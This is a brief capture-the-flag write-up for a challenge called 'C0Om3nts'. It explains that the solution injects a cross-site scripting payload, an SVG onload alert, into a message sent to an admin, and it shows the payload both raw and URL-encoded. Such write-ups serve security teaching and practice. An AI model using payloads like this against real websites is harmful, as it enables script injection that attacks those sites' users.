

Challenge Name : C0Om3nts

Author : Samarth Kamble

Solution : Here Players has to perform a URL encoded XSS.

Here we send a message to the admin then it say message received
We are using this payload

```
"><svg/onload=alert('XSS')>
```

But first URL encode it

```
%22%3E%3Csvg%2Fonload%3Dalert%28%27XSS%27%29%3E
```
